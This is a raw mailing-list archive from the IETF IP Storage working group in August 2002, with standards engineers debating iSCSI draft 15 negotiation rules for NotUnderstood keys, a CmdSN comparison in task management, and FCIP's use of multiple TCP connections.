--=_alternative 0052DAC5C2256C13_=-- From owner-ips@ece.cmu.edu Mon Aug 12 16:44:42 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10669 for ; Mon, 12 Aug 2002 16:44:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7CK8Tw28347 for ips-outgoing; Mon, 12 Aug 2002 16:08:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7CK8Ro28341 for ; Mon, 12 Aug 2002 16:08:27 -0400 (EDT) Received: from relcos1.cos.agilent.com (relcos1.cos.agilent.com [130.29.152.239]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 7FCB2C672; Mon, 12 Aug 2002 14:08:26 -0600 (MDT) Received: from axcsbh3.cos.agilent.com (axcsbh3.cos.agilent.com [130.29.152.190]) by relcos1.cos.agilent.com (Postfix) with SMTP id E313331D; Mon, 12 Aug 2002 14:08:11 -0600 (MDT) Received: from 130.29.152.190 by axcsbh3.cos.agilent.com (InterScan E-Mail VirusWall NT); Mon, 12 Aug 2002 14:08:25 -0600 Received: by axcsbh3.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 14:08:25 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D643845@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: Julian_Satran@il.ibm.com, ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Date: Mon, 12 Aug 2002 14:08:24 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, I agree that the current text is explicit in restricting the use of the special values. In the scenario suggested each device is using NotUnderstood as the text requires. Where the ambiguity arises is what checking one does on values of a key that one doesn't understand. When you are doing a series of tests for validity and the first one fails, do you take the action that failure requires or do you first do some of the following tests? Usually one would do the former unless there was an explicit requirement to do additional tests. I don't find anything in the current text that requires checking the value when one receives an not understood key. Furthermore, I don't think it is necessary to require such a check. The scenario that was brought up was a corner case that hangs up login. There can be other corner cases we haven't discovered yet. It makes more sense to deal with it by timing out a negotiation that goes on too long (in time or number of exchanges) than by making a special rule for this particular corner case. Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 09, 2002 9:11 PM To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Pat, The current text is explicit in restricting the use of the special values NotUnderstood, Reject etc. Julo pat_thaler@agilen t.com To: bcrane@iready.com, ips@ece.cmu.edu Sent by: cc: owner-ips@ece.cmu Subject: RE: Problem with use of NotUnderstood in negotiations .edu 08/09/2002 11:04 PM Bart, So the question is, in what order does a device do the checking. There are many possibilites for handling a received key that is unknown and comes in with the value unknown: A) Check key if key unknown, send key=NotUnderstood else ...process key=value pair B) Check key if key unknown if value=NotUnderstood silently drop (or close connection) else send key=NotUnderstood I expect case A is more likely to get implemented in the absence of an explicit statement. There would normally be no need to examine the value of a key when one doesn't understand the key. In this case, the receiver never does a test that detects the apparent protocol violation of making an offer with a value NotUnderstood. So, if we want to stop the loop that Bill has found, we should put in an explicit requirement to test the value for NotUnderstood before responding to a key with NotUnderstood. The alternative is to leave things as they are and count on implementations to abort the negotiation based on a timeout or a count of excessive number of negotiation PDU exchanges. Regards, Pat -----Original Message----- From: Bart Crane [mailto:bcrane@iready.com] Sent: Friday, August 09, 2002 12:33 PM To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations This new rule is not necessary. Sec. 4.2 says: The constants None, Reject, Irrelevant, and NotUnderstood are reserved and must only be used as described here. In the situation you describe, the sender will be expecting a response to "keyA", but the key-name was corrupted to "keyB". The receiver does not understand "keyB", and so responds with "keyB=NotUnderstood". To the sender, this appears to be the start of negotiating a new key, "keyB", with the value "NotUnderstood". But, this is not a valid use of the value "NotUnderstood", so it is a protocol error. So, the new rule of not-responding to keys with the value "NotUnderstood" is not necessary. Bart. -----Original Message----- From: Bill Studenmund [mailto:wrstuden@wasabisystems.com] Sent: Friday, August 09, 2002 9:12 AM To: ips@ece.cmu.edu Subject: Problem with use of NotUnderstood in negotiations I encountered a problem with how draft 15 specifies using NotUnderstood as a reply to keys that aren't understood. Namely if something injects garbage into the negotiation stream we can end up with a key BOTH sides don't understand, and so they both sit there sending "foo=NotUnderstood" back and forth to each other. Yes, well-behaved negotiators won't offer a key they don't understand. But the data stream can be corrupted, and all it would take is a single-bit error in a key name and we encounter the above. I propose we change the text to: Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. If the value for the key was "NotUnderstood", the acceptor MUST not answer the key. Note: I can easily see closing the connection with an error in the above case too. Thoughts? Take care, Bill From owner-ips@ece.cmu.edu Mon Aug 12 16:44:46 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10684 for ; Mon, 12 Aug 2002 16:44:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7CK8fn28380 for ips-outgoing; Mon, 12 Aug 2002 16:08:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas2.cos.agilent.com (msgbas2x.cos.agilent.com [192.25.240.37]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7CK8ao28368 for ; Mon, 12 Aug 2002 16:08:36 -0400 (EDT) Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77]) by msgbas2.cos.agilent.com (Postfix) with ESMTP id 9961D1613; Mon, 12 Aug 2002 14:08:35 -0600 (MDT) Received: from axcsbh1.cos.agilent.com (axcsbh1.cos.agilent.com [130.29.152.143]) by msgrel1.cos.agilent.com (Postfix) with SMTP id 676C6303; Mon, 12 Aug 2002 14:08:35 -0600 (MDT) Received: from 130.29.152.143 by axcsbh1.cos.agilent.com (InterScan E-Mail VirusWall NT); Mon, 12 Aug 2002 14:08:34 -0600 Received: by axcsbh1.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 14:08:34 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D643846@axcs04.cos.agilent.com> From: "THALER,PAT (A-Roseville,ex1)" To: Julian Satran , ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Date: Mon, 12 Aug 2002 14:08:31 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, In the scenario, each device does use Notunderstood in a response. A sends keyxxx Silent data corruption occurs that changes keyxxx to keyxxy B gets keyxxy and doesn't recognize it so it responds keyxxy=Notunderstood A gets that and thinks it is an offer of a key it doesn't understand because it never sent keyxxy. A therefore sends keyxxy=Notunderstood B gets keyxxy and doesn't recognize it so it responds keyxxy=Notunderstood ..... Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 09, 2002 9:24 PM To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Bill, Perhaps the text is unabiguos but you just ignored the text that forbids it. The use of Notunderstood is limited to responses. Using it as you suggest is a protocol error. A repeated use will also violate the "no renegotiation rule". Julo Bill Studenmund ystems.com> cc: Sent by: Subject: RE: Problem with use of NotUnderstood in negotiations owner-ips@ece.cmu .edu 08/10/2002 02:22 AM On Fri, 9 Aug 2002, Bart Crane wrote: ?? In the scenario I describe, neither side believes it offered the key. > Thus, there is no need to add another rule regarding not-responding to > keys with NotUnderstood as a value, because a key with that value is > a protocol error. > > This could be made more explicit, but there does not seem to be any > ambiguity. There obviously is ambiguity. The fact we're having this discussion is proof. :-) I'd support saying this case is a protocol error, since it means something neither side understands got into the stream (and chances are an offer got removed). But I think adding an explicit direction as to what to do is needed. Take care, Bill From owner-ips@ece.cmu.edu Mon Aug 12 17:37:21 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12209 for ; Mon, 12 Aug 2002 17:37:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7CL4PA02749 for ips-outgoing; Mon, 12 Aug 2002 17:04:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cybernetics.com (cyborg.cybernetics.com [206.246.200.18]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7CKdXo00712 for ; Mon, 12 Aug 2002 16:39:33 -0400 (EDT) Received: from condor ([137.157.1.224]) by cyborg.cybernetics.com with SMTP id <119053>; Mon, 12 Aug 2002 16:39:15 -0400 Reply-To: From: "Tony Battersby" To: Subject: iSCSI: Abort Task Set CmdSN: < or <= Date: Mon, 12 Aug 2002 16:39:15 -0400 Message-ID: <000001c24240$53224450$e0019d89@cybernetics.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Draft 15, section 9.5.1: "Task management requests must act on all the commands having a CmdSN lower than the task management CmdSN." "... all the tasks covered by the Task Management response (i.e., with CmdSN not higher than the task management command CmdSN), ..." "Lower than" is not the same as "not higher than" for the case of equal CmdSN's, which could happen if an immediate command preceeded the task management request. So if an immediate command is issued followed by a Task Management Function Request of ABORT TASK SET with the same CmdSN as the immediate command, should the immediate command be aborted or not? Anthony J. Battersby Cybernetics From owner-ips@ece.cmu.edu Mon Aug 12 20:11:16 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA15411 for ; Mon, 12 Aug 2002 20:11:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7CNa2o11451 for ips-outgoing; Mon, 12 Aug 2002 19:36:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from fed1mtao03.cox.net (fed1mtao03.cox.net [68.6.19.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7CNa0o11439 for ; Mon, 12 Aug 2002 19:36:00 -0400 (EDT) Received: from CX418298C ([68.5.220.146]) by fed1mtao03.cox.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with SMTP id <20020812233553.MYLF1390.fed1mtao03.cox.net@CX418298C>; Mon, 12 Aug 2002 19:35:53 -0400 From: "Murali Rajagopal" To: "Chong Peng" Cc: Subject: RE: questions about fcip Date: Mon, 12 Aug 2002 16:35:59 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Question 1: Why would a FCIP link need multiple TCP connections? Following text extracted from Section 11.1 provides some motivations for multiple TCP connections. " .... Depending on the sophistication of the FC Entity, further value may be obtained by having multiple TCP Connections with differing QoS characteristics. There are many reasons why an FC Entity might request creation of multiple TCP Connections within an FCIP_LEP. These reasons include a desire to provide differentiated service for different TCP data connections between FCIP_LEPs or a preference to separately queue different streams of traffic not having a common in-order delivery requirement. ...." Question 2. If there are multiple TCP connections in a FCIP link, which entity is responsible for distributing traffic among them? The FCIP Entity. -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Chong Peng Sent: Sunday, August 04, 2002 4:02 PM To: ips@ece.cmu.edu Subject: questions about fcip FCIP gurus: The FCIP protocol allows one FCIP link have multiple TCP connection. I have two questions about this: 1. Why would a FCIP link need multiple TCP connections? 2. If there are multiple TCP connections in a FCIP link, which entity is responsible for distributing traffic among them. Chong Peng This email message is for the sole use of the intended recipient(s) and may contain confidential information. Any unauthorized use; review, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by return email and destroy all copies of the original message. Copyright © 2002 MaXXan Systems, Inc. All rights reserved. From owner-ips@ece.cmu.edu Mon Aug 12 21:05:54 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA16392 for ; Mon, 12 Aug 2002 21:05:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7D0ZAj14259 for ips-outgoing; Mon, 12 Aug 2002 20:35:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas2.cos.agilent.com (msgbas2x.cos.agilent.com [192.25.240.37]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7D0Z9o14255 for ; Mon, 12 Aug 2002 20:35:09 -0400 (EDT) Received: from relcos1.cos.agilent.com (relcos1.cos.agilent.com [130.29.152.239]) by msgbas2.cos.agilent.com (Postfix) with ESMTP id 181DA1C57; Mon, 12 Aug 2002 18:35:08 -0600 (MDT) Received: from axcsbh3.cos.agilent.com (axcsbh3.cos.agilent.com [130.29.152.190]) by relcos1.cos.agilent.com (Postfix) with SMTP id 28B11365; Mon, 12 Aug 2002 18:34:53 -0600 (MDT) Received: from 130.29.152.190 by axcsbh3.cos.agilent.com (InterScan E-Mail VirusWall NT); Mon, 12 Aug 2002 18:35:06 -0600 Received: by axcsbh3.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 18:35:06 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D8EBFD7@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: Julian_Satran@il.ibm.com, wrstuden@wasabisystems.com Cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Date: Mon, 12 Aug 2002 18:35:04 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-6b9111c0-e245-4959-9309-6bf0ad52a323" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-6b9111c0-e245-4959-9309-6bf0ad52a323 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24261.443BB5E0" ------_=_NextPart_001_01C24261.443BB5E0 Content-Type: text/plain; charset="ISO-8859-1" Julian, Saying that a violation of a rule is a protocol error is not the same as saying that the receiver must detect and react to the error. I don't think your suggested change to the text changes anything. If we want to say that receiving an offer for any key (even if the key is not understood) with a value of "Reject", "Irrelevant" or "NotUnderstood" MUST be detected and treated as a protocol failure, then a specific statement to that effect should be added. Secondly, there is no requirement that re-negotiation MUST be detected. The specific text on renegotiation is (for login): If an attempt to re-negotiate/redeclare parameters not specifically allowed is detected by the target the target MUST respond with Login reject (initiator error); if detected by the initiator the initiator MUST drop the connection. The text for operational negotiation is similar except that the actions taken on detection are different. It says "If an attempt ...is detected" which is entirely different than saying such attempts "MUST be detected". As Bill as pointed out, detecting re-negotiation of unknown parameters is onerous and I am very opposed to adding such a requirement. It adds unnecessary cost for minimal benefit. For the keys that are supported, on just needs a couple of bits per parameter to keep track of whether the state is unnegotiated, received offer, sent offer or negotiation complete and one may need that state even if one wasn't going to detect re-negotiation. Thus, it is pretty trivial to detect re-negotiation of supported keys. If someone wants to maliciously tie up a negotiation, they can do so by continuously offering new unknown keys and no working non-malicious implementation will keep offering the same key. One would have to save all received unsupported keys and each time an unsupported key was received it would have to be compared to the list. This is time and memory consuming and unnecessary. It isn't required by draft 15 and no such requirement should be added. A simpler solution to concerns about the silent data corruption problem Bill identified is either 1) add in text requiring that an offer the value equal to NotUnderstood be detected as a protocol error even if the key is not supported/not understood or 2) rely on timing out the negotiation if it doesn't complete after reasonable time or number of exchanges (definition of reasoanble left to the implementation probably). Personally, I prefer number 2 because it will catch anything that hangs up a negotiation with one test. I don't know that we can find every corner case. Even if we could, it is better to have one test that digs us out for all corner case errors than to put in many specific tests. However, number 1 would also be acceptable to me. Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Saturday, August 10, 2002 9:40 PM To: Bill Studenmund Cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Bill, My only intention in the note was to be brief. If you viewed that as rude I am really sorry. I have a lot of mail to reply to and a limited time. As for the crux of the matter - if one of the parties receives a key it has not seen before with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this. However we may want to strengthen the rule in 4 (and add another line of text) as follows: The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values). In the second part of my comment I was just saying that if you failed to implement the above check you still can't enter a loop because the double negotiation rule. To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously. The protocol is not designed to handle either. Julo Bill Studenmund 08/11/2002 06:11 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: RE: Problem with use of NotUnderstood in negotiations On Sat, 10 Aug 2002, Julian Satran wrote: > Bill, > > Perhaps the text is unabiguos but you just ignored the text that forbids > it. Julian, I must say that the tone above is very unbecoming of the author of a protocol spec. In the past, I've often gotten snippy comments from you, but written them off to, well, I'm not sure what. But it seems that you really don't listen to what I say. You read a message, make an interpretation, do not question that interpretation, and then you run with it. That's really bad. Besides being quite rude and exceedingly arrogant, you'll miss things. And the iSCSI spec will suffer for it. Do you think whatever is going on between us worth more than a bad iSCSI spec? I don't. Also, if you're going to say that the text is unambiguous, please quote said text. That makes the discussion much clearer. > The use of Notunderstood is limited to responses. Using it as you suggest > is a protocol error. Julian, I have to ask, what exactly do you think I'm suggesting? From parsing your sentence, I read that you are telling me that I'm suggesting using NotUnderstood outside its limited scope, of responses. As I understand the situation I described, both parties think they are using NotUnderstood as a response. How is using it as a response outside its use as a response? > A repeated use will also violate the "no renegotiation rule". Please be VERY VERY VERY careful when saying that. Have you thought about what the statement you just made will imply? We are (or at least I started) talking about the case where one side THOUGHT it sent key X, but somehow it was key Y that made it to the other side. Be it a bug in the code on one side or the other, a PCI bus error in transfer, a router glitch, or what. Key Y doesn't exist in the spec, and it's in the negotiation stream. OGMarker or DataPDPInOrder would be examples. The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't understand. Reading the spec, it succinctly states if you get a key you don't understand, you MUST reply "NotUnderstood". Getting back to the "repeated use is a protocol violation," how is each side supposed to realize that they are seeing "OGMarker=NotUnderstood" for the second time, other than by remembering that it saw OGMarker as a not-understood key. i.e. by in addition to replying, "NotUnderstood", each side has to remember that it responded NotUnderstood to key foo. That seems unwise. I can think of at least one DoS attack if that really is what implementations do. Getting back to addressing the topic of the thread, what is wrong with this text, slightly modified from the I proposed in the first message? *** Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST be considered a protocol violation. *** As I said before, my main interest is the spec point out that if for a key you don't understand you get the value "NotUnderstood" (i.e. the other side is telling you it didn't understand a key that it turns out you also don't understand), you don't just answer "NotUnderstood". Either saying nothing, or considering it a protocol violation (since if we both didn't understand the key it should have never gotten into the negotiations) are both fine options. I now favor protocol violation as if neither side understood the key, it should not be there. If it's there, something is wrong. Take care, Bill ------_=_NextPart_001_01C24261.443BB5E0 Content-Type: text/html; charset="ISO-8859-1"
Julian,
 
Saying that a violation of a rule is a protocol error is not the same as saying that the receiver must detect and react to the error. I don't think your suggested change to the text changes anything. If we want to say that receiving an offer for any key (even if the key is not understood) with a value of "Reject", "Irrelevant" or "NotUnderstood" MUST be detected and treated as a protocol failure, then a specific statement to that effect should be added.
 
Secondly, there is no requirement that re-negotiation MUST be detected. The specific text on renegotiation is (for login):

If an attempt to re-negotiate/redeclare parameters not specifically allowed is detected by the target the target MUST respond with Login reject (initiator error); if detected by the initiator the initiator MUST drop the connection.

The text for operational negotiation is similar except that the actions taken on detection are different.
 
It says "If an attempt ...is detected" which is entirely different than saying such attempts "MUST be detected".
 
As Bill as pointed out, detecting re-negotiation of unknown parameters is onerous and I am very opposed to adding such a requirement. It adds unnecessary cost for minimal benefit. For the keys that are supported, on just needs a couple of bits per parameter to keep track of whether the state is unnegotiated, received offer, sent offer or negotiation complete and one may need that state even if one wasn't going to detect re-negotiation. Thus, it is pretty trivial to detect re-negotiation of supported keys.
 
If someone wants to maliciously tie up a negotiation, they can do so by continuously offering new unknown keys and no working non-malicious implementation will keep offering the same key. One would have to save all
received unsupported keys and each time an unsupported key was received it would have to be compared to the list. This is time and memory consuming and unnecessary. It isn't required by draft 15 and no such requirement should be added.
 
A simpler solution to concerns about the silent data corruption problem Bill identified is either
 
1) add in text requiring that an offer the value equal to NotUnderstood be detected as a protocol error even if the key is not supported/not understood
 
or
 
2) rely on timing out the negotiation if it doesn't complete after reasonable time or number of exchanges (definition of reasoanble left to the implementation probably).
 
Personally, I prefer number 2 because it will catch anything that hangs up a negotiation with one test. I don't know that we can find every corner case. Even if we could, it is better to have one test that digs us out for all corner case errors than to put in many specific tests.
 
However, number 1 would also be acceptable to me.
 
Regards,
Pat
 
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Saturday, August 10, 2002 9:40 PM
To: Bill Studenmund
Cc: ips@ece.cmu.edu
Subject: RE: Problem with use of NotUnderstood in negotiations


Bill,

My only intention in the note was to be brief.  If you viewed that as rude I am really sorry.
I have a lot of mail to reply to and a limited time.

As for the crux of the matter - if one of the parties receives a key it has not seen before
with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this.
However we may want to strengthen the rule in 4 (and add another line of text) as follows:

The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values).

In the second part of my comment I was just saying that if you  failed to implement the above check you still can't enter a loop
because the double negotiation rule.

To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously.
The protocol is not designed to handle either.

Julo


Bill Studenmund <wrstuden@wasabisystems.com>

08/11/2002 06:11 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        <ips@ece.cmu.edu>
        Subject:        RE: Problem with use of NotUnderstood in negotiations

       


On Sat, 10 Aug 2002, Julian Satran wrote:

> Bill,
>
> Perhaps the text is unabiguos but you just ignored the text that forbids
> it.

Julian,

I must say that the tone above is very unbecoming of the author of a
protocol spec. In the past, I've often gotten snippy comments from you,
but written them off to, well, I'm not sure what. But it seems that you
really don't listen to what I say. You read a message, make an
interpretation, do not question that interpretation, and then you run with
it. That's really bad. Besides being quite rude and exceedingly arrogant,
you'll miss things. And the iSCSI spec will suffer for it. Do you think
whatever is going on between us worth more than a bad iSCSI spec? I don't.

Also, if you're going to say that the text is unambiguous, please quote
said text. That makes the discussion much clearer.

> The use of Notunderstood is limited to responses. Using it as you suggest
> is a protocol error.

Julian, I have to ask, what exactly do you think I'm suggesting? From
parsing your sentence, I read that you are telling me that I'm suggesting
using NotUnderstood outside its limited scope, of responses.

As I understand the situation I described, both parties think they are
using NotUnderstood as a response. How is using it as a response outside
its use as a response?

> A repeated use will also violate the "no renegotiation rule".

Please be VERY VERY VERY careful when saying that. Have you thought about
what the statement you just made will imply?

We are (or at least I started) talking about the case where one side
THOUGHT it sent key X, but somehow it was key Y that made it to the other
side. Be it a bug in the code on one side or the other, a PCI bus error in
transfer, a router glitch, or what. Key Y doesn't exist in the spec, and
it's in the negotiation stream. OGMarker or DataPDPInOrder would be
examples.

The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't
understand. Reading the spec, it succinctly states if you get a key you
don't understand, you MUST reply "NotUnderstood".

Getting back to the "repeated use is a protocol violation," how is each
side supposed to realize that they are seeing "OGMarker=NotUnderstood" for
the second time, other than by remembering that it saw OGMarker as a
not-understood key. i.e. by in addition to replying, "NotUnderstood", each
side has to remember that it responded NotUnderstood to key foo. That
seems unwise. I can think of at least one DoS attack if that really is
what implementations do.

Getting back to addressing the topic of the thread, what is wrong with
this text, slightly modified from the I proposed in the first message?

***
Any key not understood by the acceptor may be ignored by the acceptor
without affecting the basic function. However, unless the value for the
key was "NotUnderstood", the answer for a key not understood MUST be
key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST
be considered a protocol violation.
***

As I said before, my main interest is the spec point out that if for a key
you don't understand you get the value "NotUnderstood" (i.e. the other
side is telling you it didn't understand a key that it turns out you also
don't understand), you don't just answer "NotUnderstood". Either
saying nothing, or considering it a protocol violation (since if we both
didn't understand the key it should have never gotten into the
negotiations) are both fine options. I now favor protocol violation as if
neither side understood the key, it should not be there. If it's there,
something is wrong.

Take care,

Bill



------_=_NextPart_001_01C24261.443BB5E0-- ------=_NextPartTM-000-6b9111c0-e245-4959-9309-6bf0ad52a323-- From owner-ips@ece.cmu.edu Mon Aug 12 22:02:25 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17752 for ; Mon, 12 Aug 2002 22:02:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7D1e8n17435 for ips-outgoing; Mon, 12 Aug 2002 21:40:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from web13704.mail.yahoo.com (web13704.mail.yahoo.com [216.136.175.137]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g7D1e6o17431 for ; Mon, 12 Aug 2002 21:40:06 -0400 (EDT) Message-ID: <20020813014005.61514.qmail@web13704.mail.yahoo.com> Received: from [192.55.52.1] by web13704.mail.yahoo.com via HTTP; Mon, 12 Aug 2002 18:40:05 PDT Date: Mon, 12 Aug 2002 18:40:05 -0700 (PDT) From: Martins Krikis Subject: RE: Problem with use of NotUnderstood in negotiations To: pat_thaler@agilent.com, Julian_Satran@il.ibm.com, wrstuden@wasabisystems.com Cc: ips@ece.cmu.edu In-Reply-To: <1BEBA5E8600DD4119A50009027AF54A00D8EBFD7@axcs04.cos.agilent.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I absolutely agree. I would not have posted what I just posted had I known that this is on its way to the list already. Very well said, Pat. Martins Krikis, Intel Corp. Disclaimer: my opinions and not necessarily Intel's. --- pat_thaler@agilent.com wrote: > Julian, > > Saying that a violation of a rule is a protocol > error is not the same as saying that the receiver > must detect and react to the error. I don't think > your suggested change to the text changes anything. > If we want to say that receiving an offer for any > key (even if the key is not understood) with a value > of "Reject", "Irrelevant" or "NotUnderstood" MUST be > detected and treated as a protocol failure, then a > specific statement to that effect should be added. > > Secondly, there is no requirement that > re-negotiation MUST be detected. The specific text > on renegotiation is (for login): > If an attempt to re-negotiate/redeclare parameters > not specifically allowed is detected by the target > the target MUST respond with Login reject (initiator > error); if detected by the initiator the initiator > MUST drop the connection. > > The text for operational negotiation is similar > except that the actions taken on detection are > different. > > It says "If an attempt ...is detected" which is > entirely different than saying such attempts "MUST > be detected". > > As Bill as pointed out, detecting re-negotiation of > unknown parameters is onerous and I am very opposed > to adding such a requirement. It adds unnecessary > cost for minimal benefit. For the keys that are > supported, on just needs a couple of bits per > parameter to keep track of whether the state is > unnegotiated, received offer, sent offer or > negotiation complete and one may need that state > even if one wasn't going to detect re-negotiation. > Thus, it is pretty trivial to detect re-negotiation > of supported keys. > > If someone wants to maliciously tie up a > negotiation, they can do so by continuously offering > new unknown keys and no working non-malicious > implementation will keep offering the same key. One > would have to save all > received unsupported keys and each time an > unsupported key was received it would have to be > compared to the list. This is time and memory > consuming and unnecessary. It isn't required by > draft 15 and no such requirement should be added. > > A simpler solution to concerns about the silent data > corruption problem Bill identified is either > > 1) add in text requiring that an offer the value > equal to NotUnderstood be detected as a protocol > error even if the key is not supported/not > understood > > or > > 2) rely on timing out the negotiation if it doesn't > complete after reasonable time or number of > exchanges (definition of reasoanble left to the > implementation probably). > > Personally, I prefer number 2 because it will catch > anything that hangs up a negotiation with one test. > I don't know that we can find every corner case. > Even if we could, it is better to have one test that > digs us out for all corner case errors than to put > in many specific tests. > > However, number 1 would also be acceptable to me. > > Regards, > Pat __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From owner-ips@ece.cmu.edu Mon Aug 12 22:03:58 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17781 for ; Mon, 12 Aug 2002 22:03:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id 